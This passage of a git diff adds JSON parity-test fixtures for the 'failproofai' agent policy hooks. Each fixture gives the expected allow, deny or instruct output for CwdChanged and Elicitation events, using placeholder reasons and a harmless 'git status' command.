"hookEventName": "CwdChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/CwdChanged/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/pi/CwdChanged/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..2f4323c1 --- /dev/null +++ b/__tests__/parity/fixtures/pi/CwdChanged/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "pi", + "decision_kind": "allow-with-reason", + "event": "CwdChanged", + "input": { + "event_type": "CwdChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "CwdChanged", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "CwdChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/CwdChanged/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/pi/CwdChanged/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..26f15e4c --- /dev/null +++ b/__tests__/parity/fixtures/pi/CwdChanged/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "pi", + "decision_kind": "deny", + "event": "CwdChanged", + "input": { + "event_type": "CwdChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "CwdChanged", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "CwdChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/CwdChanged/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/pi/CwdChanged/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..83f3d1fd --- /dev/null +++ b/__tests__/parity/fixtures/pi/CwdChanged/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "pi", + "decision_kind": "deny", + "event": "CwdChanged", + "input": { + "event_type": "CwdChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "CwdChanged", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "CwdChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/CwdChanged/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/pi/CwdChanged/deny__tool-present__one-policy.json new file mode 100644 index 00000000..43cd4016 --- /dev/null +++ b/__tests__/parity/fixtures/pi/CwdChanged/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "pi", + "decision_kind": "deny", + "event": "CwdChanged", + "input": { + "event_type": "CwdChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "CwdChanged", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "CwdChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/CwdChanged/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/pi/CwdChanged/deny__tool-present__two-policies.json new file mode 100644 index 00000000..ea244494 --- /dev/null +++ b/__tests__/parity/fixtures/pi/CwdChanged/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "pi", + "decision_kind": "deny", + "event": "CwdChanged", + "input": { + "event_type": "CwdChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "CwdChanged", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "CwdChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/CwdChanged/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/pi/CwdChanged/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..1d81433c --- /dev/null +++ b/__tests__/parity/fixtures/pi/CwdChanged/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "pi", + "decision_kind": "instruct", + "event": "CwdChanged", + "input": { + "event_type": "CwdChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "CwdChanged", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "CwdChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/CwdChanged/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/pi/CwdChanged/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..573012b1 --- /dev/null +++ b/__tests__/parity/fixtures/pi/CwdChanged/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "pi", + "decision_kind": "instruct", + "event": "CwdChanged", + "input": { + "event_type": "CwdChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "CwdChanged", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "CwdChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/CwdChanged/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/pi/CwdChanged/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..65a6605f --- /dev/null +++ b/__tests__/parity/fixtures/pi/CwdChanged/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "pi", + "decision_kind": "instruct", + "event": "CwdChanged", + "input": { + "event_type": "CwdChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "CwdChanged", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "CwdChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/CwdChanged/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/pi/CwdChanged/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..f1adb053 --- /dev/null +++ b/__tests__/parity/fixtures/pi/CwdChanged/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "pi", + "decision_kind": "instruct", + "event": "CwdChanged", + "input": { + "event_type": "CwdChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "CwdChanged", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "CwdChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/Elicitation/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/pi/Elicitation/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..c2461d1e --- /dev/null +++ b/__tests__/parity/fixtures/pi/Elicitation/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "pi", + "decision_kind": "allow-silent", + "event": "Elicitation", + "input": { + "event_type": "Elicitation", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Elicitation", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Elicitation", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/Elicitation/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/pi/Elicitation/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..90d56ab5 --- /dev/null +++ b/__tests__/parity/fixtures/pi/Elicitation/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "pi", + "decision_kind": "allow-silent", + "event": "Elicitation", + "input": { + "event_type": "Elicitation", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Elicitation", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Elicitation", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/Elicitation/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/pi/Elicitation/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..c7c1d6a6 --- /dev/null +++ b/__tests__/parity/fixtures/pi/Elicitation/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "pi", + "decision_kind": "allow-silent", + "event": "Elicitation", + "input": { + "event_type": "Elicitation", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Elicitation", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Elicitation", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/Elicitation/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/pi/Elicitation/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..3fe69469 --- /dev/null +++ b/__tests__/parity/fixtures/pi/Elicitation/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "pi", + "decision_kind": "allow-silent", + "event": "Elicitation", + "input": { + "event_type": "Elicitation", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Elicitation", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Elicitation", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/Elicitation/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/pi/Elicitation/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..5c54449a --- /dev/null +++ b/__tests__/parity/fixtures/pi/Elicitation/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "pi", + "decision_kind": "allow-with-reason", + "event": "Elicitation", + "input": { + "event_type": "Elicitation", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Elicitation", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Elicitation", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/Elicitation/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/pi/Elicitation/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..2a6bd590 --- /dev/null +++ b/__tests__/parity/fixtures/pi/Elicitation/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "pi", + "decision_kind": "allow-with-reason", + "event": "Elicitation", + "input": { + "event_type": "Elicitation", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Elicitation", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Elicitation", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/Elicitation/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/pi/Elicitation/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..80f709f0 --- /dev/null +++ b/__tests__/parity/fixtures/pi/Elicitation/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "pi", + "decision_kind": "allow-with-reason", + "event": "Elicitation", + "input": { + "event_type": "Elicitation", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Elicitation", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Elicitation", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/Elicitation/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/pi/Elicitation/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..13cfabf3 --- /dev/null +++ b/__tests__/parity/fixtures/pi/Elicitation/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "pi", + "decision_kind": "allow-with-reason", + "event": "Elicitation", + "input": { + "event_type": "Elicitation", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Elicitation", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Elicitation", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/Elicitation/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/pi/Elicitation/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..03383c72 --- /dev/null +++ b/__tests__/parity/fixtures/pi/Elicitation/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "pi", + "decision_kind": "deny", + "event": "Elicitation", + "input": { + "event_type": "Elicitation", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Elicitation", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Elicitation", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/Elicitation/deny__tool-absent__two-policies.json 